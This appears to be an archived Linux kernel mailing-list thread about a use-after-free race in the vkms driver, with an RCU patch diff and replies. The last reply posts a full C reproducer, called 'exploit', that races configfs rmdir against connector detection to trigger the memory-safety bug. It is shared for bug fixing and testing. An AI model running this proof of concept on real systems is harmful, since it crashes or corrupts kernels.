> @@ -108,6 +109,9 @@ struct vkms_config_encoder {
>    *             It can be used to store a temporary reference to a VKMS connector
>    *             during device creation. This pointer is not managed by the
>    *             configuration and must be managed by other means.
> + * @rcu: Used to free the connector configuration after a grace period, so that
> + *       vkms_config_for_each_connector_rcu() readers (e.g. .detect) can safely
> + *       run concurrently with configfs teardown (see vkms_config_destroy_connector()).
>    */
>   struct vkms_config_connector {
>   	struct list_head link;
> @@ -118,6 +122,8 @@ struct vkms_config_connector {
>   
>   	/* Internal usage */
>   	struct vkms_connector *connector;
> +
> +	struct rcu_head rcu;
>   };
>   
>   /**
> @@ -152,6 +158,22 @@ struct vkms_config_connector {
>   #define vkms_config_for_each_connector(config, connector_cfg) \
>   	list_for_each_entry((connector_cfg), &(config)->connectors, link)
>   
> +/**
> + * vkms_config_for_each_connector_rcu - RCU-safe iteration over the vkms_config
> + * connectors
> + * @config: &struct vkms_config pointer
> + * @connector_cfg: &struct vkms_config_connector pointer used as cursor
> + *
> + * Unlike vkms_config_for_each_connector(), this may be used without holding
> + * the configfs device lock, from contexts (such as &drm_connector_funcs.detect)
> + * that must not block on it. Callers must wrap the iteration in
> + * rcu_read_lock() / rcu_read_unlock(); see vkms_config_destroy_connector(),
> + * which pairs with this by unlinking with list_del_rcu() and freeing with
> + * kfree_rcu().
> + */
> +#define vkms_config_for_each_connector_rcu(config, connector_cfg) \
> +	list_for_each_entry_rcu((connector_cfg), &(config)->connectors, link)
> +
>   /**
>    * vkms_config_plane_for_each_possible_crtc - Iterate over the vkms_config_plane
>    * possible CRTCs
> diff --git a/drivers/gpu/drm/vkms/vkms_connector.c b/drivers/gpu/drm/vkms/vkms_connector.c
> index b0a6b212d3f4..c43948de2b01 100644
> --- a/drivers/gpu/drm/vkms/vkms_connector.c
> +++ b/drivers/gpu/drm/vkms/vkms_connector.c
> @@ -1,5 +1,7 @@
>   // SPDX-License-Identifier: GPL-2.0+
>   
> +#include <linux/rcupdate.h>
> +
>   #include <drm/drm_atomic_helper.h>
>   #include <drm/drm_edid.h>
>   #include <drm/drm_managed.h>
> @@ -26,10 +28,22 @@ static enum drm_connector_status vkms_connector_detect(struct drm_connector *con
>   	 */
>   	status = connector->status;
>   
> -	vkms_config_for_each_connector(vkmsdev->config, connector_cfg) {
> +	/*
> +	 * configfs can free connector_cfg concurrently (connector_release() ->
> +	 * vkms_config_destroy_connector(), on an rmdir of the connector's
> +	 * configfs directory) without taking drm_device.mode_config.mutex,
> +	 * which this .detect callback is always called under. Walk the RCU-
> +	 * protected list instead of taking the configfs device lock here: the
> +	 * two locks are already nested in the opposite order by
> +	 * vkms_destroy(), so acquiring the configfs lock from under
> +	 * mode_config.mutex would deadlock.
> +	 */
> +	rcu_read_lock();
> +	vkms_config_for_each_connector_rcu(vkmsdev->config, connector_cfg) {
>   		if (connector_cfg->connector == vkms_connector)
>   			status = vkms_config_connector_get_status(connector_cfg);
>   	}
> +	rcu_read_unlock();
>   
>   	return status;
>   }


^ permalink raw reply	[flat|nested] 5+ messages in thread

* Re: [PATCH v2] drm/vkms: Fix UAF between connector configfs rmdir and .detect
  2026-07-22 15:56   ` Louis Chauvet
@ 2026-07-22 18:31     ` Ibrahim Hashimov
  2026-07-22 18:42     ` Ibrahim Hashimov
  1 sibling, 0 replies; 5+ messages in thread
From: Ibrahim Hashimov @ 2026-07-22 18:31 UTC (permalink / raw)
  To: louis.chauvet
  Cc: hamohammed.sa, simona, melissa.srw, mripard, dri-devel,
	linux-kernel

> Thanks for this report and patch. I am currently working on a series
> adding even more stuff in vkms_config, so I am trying to solve it for
> the whole vkms_config structure.

Makes sense -- a structural fix for the whole vkms_config is better than
my one-off rcu anyway, so please drop mine.

The refcount-the-connector direction sounds like the right one: the UAF
is really just .detect depending on the config object's lifetime, so once
it holds a ref it stops mattering who wins the configfs-vs-drm race. Cc me
on the series and I'll run the original reproducer against it, so we know
the exact race is actually closed.

> do you have the script that you used to do the hammering?

Yeah. A thread hammers .detect (which walks the whole connector list)
while another rmdir's configfs connectors out from under it; on the
unpatched module KASAN reliably reports slab-use-after-free in
vkms_connector_detect. I'll send it over.

> can you contribute this test to IGT?

Happy to. Point me at a close-enough kms/configfs test to base it on and
I'll send it as an MR.

Ibrahim

^ permalink raw reply	[flat|nested] 5+ messages in thread

* Re: [PATCH v2] drm/vkms: Fix UAF between connector configfs rmdir and .detect
  2026-07-22 15:56   ` Louis Chauvet
  2026-07-22 18:31     ` Ibrahim Hashimov
@ 2026-07-22 18:42     ` Ibrahim Hashimov
  1 sibling, 0 replies; 5+ messages in thread
From: Ibrahim Hashimov @ 2026-07-22 18:42 UTC (permalink / raw)
  To: louis.chauvet
  Cc: hamohammed.sa, simona, melissa.srw, mripard, dri-devel,
	linux-kernel

Here's the reproducer, inline.

  gcc -O2 -o vkms_uaf vkms_connector_uaf.c
  modprobe vkms
  mount -t configfs none /sys/kernel/config   # if not already mounted
  ./vkms_uaf exploit    # concurrent  -> UAF on an unpatched KASAN build
  ./vkms_uaf control    # sequential  -> same work, stays clean

It builds a vkms device with a batch of connectors, keeps writing "detect"
to one connector's status (which walks the whole config->connectors list)
while rmdir'ing the other connectors out from under that walk. On an
unpatched KASAN + DEBUG_LIST build it splats slab-use-after-free in
vkms_connector_detect fairly quickly here (a couple of minutes on a 2-CPU
guest). The control run does the identical work sequentially, so the only
variable is the concurrency.

Needs CONFIG_DRM_VKMS=m, CONFIG_CONFIGFS_FS=y, and ideally CONFIG_KASAN=y +
CONFIG_DEBUG_LIST=y to see the splat; run it as root (configfs is root-only).

---8<--- vkms_connector_uaf.c ---8<---
// vkms: configfs connector rmdir vs vkms_connector_detect UAF race
//
// Bug (v6.19, gpu/drm/vkms):
//   connector_release()  (vkms_configfs.c:568-580)  --rmdir of a connector cfgfs dir-->
//       scoped_guard(mutex, &dev->lock){ vkms_config_destroy_connector(cfg); kfree(connector); }
//       vkms_config_destroy_connector (vkms_config.c:608-613): list_del(&cfg->link); kfree(cfg);
//   vkms_connector_detect() (vkms_connector.c:11-34) iterates the SAME live
//       config->connectors list with vkms_config_for_each_connector == plain
//       list_for_each_entry (vkms_config.h:152-153), holding NO lock (not dev->lock,
//       not RCU). detect is reachable by writing "detect" to
//       /sys/class/drm/<card-conn>/status (drm_sysfs.c status_store -> fill_modes
//       -> drm_helper_probe_single_connector_modes -> .detect).
//   => the unlocked list walk in detect races the locked list_del+kfree in
//      connector_release on the same object -> CWE-362 -> CWE-416 UAF read
//      (and/or CONFIG_DEBUG_LIST __list_del_entry corruption splat).
//
// The mutating (rmdir) side needs root (configfs is root-owned 0755); attacker
// model per the finding is local root / CAP_SYS_ADMIN. We run as root in the VM.
//
// CONTROL vs EXPLOIT: the ONLY differential is concurrency.
//   EXPLOIT  : detect-hammer child runs CONCURRENTLY with the rmdir loop (fork).
//   CONTROL  : the SAME detect-hammer and the SAME rmdir loop run SEQUENTIALLY
//              (hammer finishes, then rmdir) -> the iterator never overlaps the
//              locked list_del+kfree -> no UAF.
//
// Oracle = kasan: a win aborts the guest with a KASAN slab-use-after-free (or a
// DEBUG_LIST/list_del corruption) splat in vkms_connector_detect / __list_*.
// Userspace cannot observe the win (the kernel panics via panic_on_warn before
// the racing syscall returns), so the splat in the console log IS the proof.
// A miss just loops until the deadline and exits 0 (not a failure).

#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
#include <dirent.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <stdint.h>
#include <time.h>
#include <signal.h>
#include <sys/syscall.h>

#define VBASE "/sys/kernel/config/vkms"
#define DRMDIR "/sys/class/drm"
#define DEVNAME "r"
#define DEVDIR VBASE "/" DEVNAME
#define NCONN 31

/* pin the calling task to a single CPU so the detect-walk and the rmdir free
 * run on different cores for a real, wide overlap window (smp>=2). */
static void pin_cpu(int cpu)
{
	unsigned long mask = 1UL << cpu;
	syscall(SYS_sched_setaffinity, 0, sizeof(mask), &mask);
}

static int wfile(const char *path, const char *val)
{
	int fd = open(path, O_WRONLY);
	if (fd < 0)
		return -1;
	ssize_t n = write(fd, val, strlen(val));
	int e = errno;
	close(fd);
	if (n < 0) { errno = e; return -1; }
	return 0;
}

/* build a fresh, minimally-valid vkms device 'r' with NCONN connectors.
 * layout that passes vkms_config_is_valid():
 *   1 primary plane (type=1) with possible_crtcs -> c0
 *   1 crtc c0
 *   1 encoder e0 with possible_crtcs -> c0
 *   NCONN connectors n0..n{NCONN-1} each possible_encoders -> e0
 */
static int build_device(void)
{
	char p[512], tgt[512];

	if (mkdir(DEVDIR, 0755) < 0 && errno != EEXIST) return -1;

	if (mkdir(DEVDIR "/planes/p0", 0755) < 0 && errno != EEXIST) return -1;
	if (wfile(DEVDIR "/planes/p0/type", "1") < 0) return -1; /* PRIMARY */

	if (mkdir(DEVDIR "/crtcs/c0", 0755) < 0 && errno != EEXIST) return -1;
	if (mkdir(DEVDIR "/encoders/e0", 0755) < 0 && errno != EEXIST) return -1;

	/* plane possible_crtcs -> c0 */
	snprintf(tgt, sizeof tgt, DEVDIR "/crtcs/c0");
	if (symlink(tgt, DEVDIR "/planes/p0/possible_crtcs/l") < 0 && errno != EEXIST) return -1;
	/* encoder possible_crtcs -> c0 */
	if (symlink(tgt, DEVDIR "/encoders/e0/possible_crtcs/l") < 0 && errno != EEXIST) return -1;

	/* connectors, each possible_encoders -> e0 */
	snprintf(tgt, sizeof tgt, DEVDIR "/encoders/e0");
	for (int i = 0; i < NCONN; i++) {
		snprintf(p, sizeof p, DEVDIR "/connectors/n%d", i);
		if (mkdir(p, 0755) < 0 && errno != EEXIST) return -1;
		snprintf(p, sizeof p, DEVDIR "/connectors/n%d/possible_encoders/l", i);
		if (symlink(tgt, p) < 0 && errno != EEXIST) return -1;
	}
	return 0;
}

static int enable_device(void)
{
	return wfile(DEVDIR "/enabled", "1");
}

/* best-effort teardown; ignores errors (exploit already removed some connectors) */
static void teardown_device(void)
{
	char p[512];
	wfile(DEVDIR "/enabled", "0");
	for (int i = 0; i < NCONN; i++) {
		snprintf(p, sizeof p, DEVDIR "/connectors/n%d/possible_encoders/l", i); unlink(p);
		snprintf(p, sizeof p, DEVDIR "/connectors/n%d", i); rmdir(p);
	}
	unlink(DEVDIR "/encoders/e0/possible_crtcs/l"); rmdir(DEVDIR "/encoders/e0");
	unlink(DEVDIR "/planes/p0/possible_crtcs/l"); rmdir(DEVDIR "/planes/p0");
	rmdir(DEVDIR "/crtcs/c0");
	rmdir(DEVDIR);
}

/* connector sysfs names contain a '-' (e.g. "card1-Virtual-1"); plain cards
 * ("card1") do not. snapshot the set of connector dirs. */
#define MAXSNAP 512
static char snap[MAXSNAP][80];
static int nsnap;

static void snapshot(void)
{
	nsnap = 0;
	DIR *d = opendir(DRMDIR);
	if (!d) return;
	struct dirent *e;
	while ((e = readdir(d)) && nsnap < MAXSNAP) {
		if (strchr(e->d_name, '-') && strncmp(e->d_name, "card", 4) == 0)
			snprintf(snap[nsnap++], 80, "%s", e->d_name);
	}
	closedir(d);
}

static int in_snap(const char *name)
{
	for (int i = 0; i < nsnap; i++)
		if (strcmp(snap[i], name) == 0)
			return 1;
	return 0;
}

/* find a connector-status path that appeared since snapshot() */
static int find_new_status(char *out, size_t outlen)
{
	DIR *d = opendir(DRMDIR);
	if (!d) return -1;
	struct dirent *e;
	int found = -1;
	while ((e = readdir(d))) {
		if (!strchr(e->d_name, '-') || strncmp(e->d_name, "card", 4) != 0)
			continue;
		if (in_snap(e->d_name))
			continue;
		char cand[512];
		snprintf(cand, sizeof cand, DRMDIR "/%s/status", e->d_name);
		if (access(cand, W_OK) == 0) {
			snprintf(out, outlen, "%s", cand);
			found = 0;
			break;
		}
	}
	closedir(d);
	return found;
}

/* tight detect-reprobe loop on one connector status file; whole config list is
 * walked on every write regardless of which connector we poke. */
static void hammer_detect(const char *status, volatile int *stop, int budget)
{
	int fd = open(status, O_WRONLY);
	if (fd < 0)
		return;
	long i = 0;
	while (1) {
		if (stop && *stop) break;
		if (budget && i >= budget) break;
		lseek(fd, 0, SEEK_SET);
		if (write(fd, "detect", 6) < 0) {
			/* connector may disappear on device destroy; keep going */
		}
		i++;
	}
	close(fd);
}

/* rmdir connectors n1..n{NCONN-1} as fast as possible (n0 kept as a stable
 * probe target). each rmdir triggers connector_release -> list_del + kfree. */
static void rmdir_connectors(void)
{
	char p[512];
	for (int i = 1; i < NCONN; i++) {
		snprintf(p, sizeof p, DEVDIR "/connectors/n%d/possible_encoders/l", i);
		unlink(p);
		snprintf(p, sizeof p, DEVDIR "/connectors/n%d", i);
		rmdir(p);
	}
}

int main(int argc, char **argv)
{
	int concurrent = (argc > 1 && strcmp(argv[1], "exploit") == 0);
	const char *mode = concurrent ? "exploit" : "control";
	setvbuf(stdout, NULL, _IONBF, 0);

	/* one validated round first: if we cannot even build+enable, it is a real
	 * setup failure -> exit 3 so run.sh surfaces SETUP-FAIL. */
	teardown_device();
	if (build_device() < 0) {
		printf("SETUP-FAIL build_device errno=%d (%s)\n", errno, strerror(errno));
		return 3;
	}
	snapshot();
	if (enable_device() < 0) {
		printf("SETUP-FAIL enable errno=%d (%s)\n", errno, strerror(errno));
		teardown_device();
		return 3;
	}
	char status[512];
	if (find_new_status(status, sizeof status) < 0) {
		printf("SETUP-FAIL no new connector status file after enable\n");
		teardown_device();
		return 3;
	}
	printf("[%s] setup OK, probe=%s NCONN=%d\n", mode, status, NCONN);
	teardown_device();

	int secs = concurrent ? 175 : 10;
	time_t deadline = time(NULL) + secs;
	long iter = 0;

	while (time(NULL) < deadline) {
		teardown_device();
		if (build_device() < 0) { teardown_device(); continue; }
		snapshot();
		if (enable_device() < 0) { teardown_device(); continue; }
		if (find_new_status(status, sizeof status) < 0) { teardown_device(); continue; }

		if (concurrent) {
			/* DIFFERENTIAL: detect walk runs CONCURRENTLY with rmdir,
			 * pinned to separate CPUs for a wide overlap window. */
			pid_t c = fork();
			if (c == 0) {
				pin_cpu(0);
				hammer_detect(status, NULL, 0); /* until killed */
				_exit(0);
			}
			pin_cpu(1);
			rmdir_connectors();
			kill(c, SIGKILL);
			waitpid(c, NULL, 0);
		} else {
			/* CONTROL: same work, SEQUENTIAL — no overlap, no race */
			int stop = 0;
			hammer_detect(status, &stop, 1500);
			rmdir_connectors();
		}

		teardown_device();
		iter++;
		if (iter % 25 == 0)
			printf("ITER=%ld mode=%s\n", iter, mode);
	}

	printf("done mode=%s iters=%ld (no splat -> miss; kasan splat, if any, is above)\n",
	       mode, iter);
	return 0;
}

---8<---

Ibrahim

^ permalink raw reply	[flat|nested] 5+ messages in thread

end of thread, other threads:[~2026-07-22 18:44 UTC | newest]

Thread overview: 5+ messages (download: mbox.gz follow: Atom feed
-- links below jump to the message on this page --
2026-07-09 15:06 [PATCH] drm/vkms: Fix UAF between connector configfs rmdir and .detect Ibrahim Hashimov
2026-07-09 19:51 ` [PATCH v2] " Ibrahim Hashimov
2026-07-22 15:56   ` Louis Chauvet
2026-07-22 18:31     ` Ibrahim Hashimov
2026-07-22 18:42     ` Ibrahim Hashimov

This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox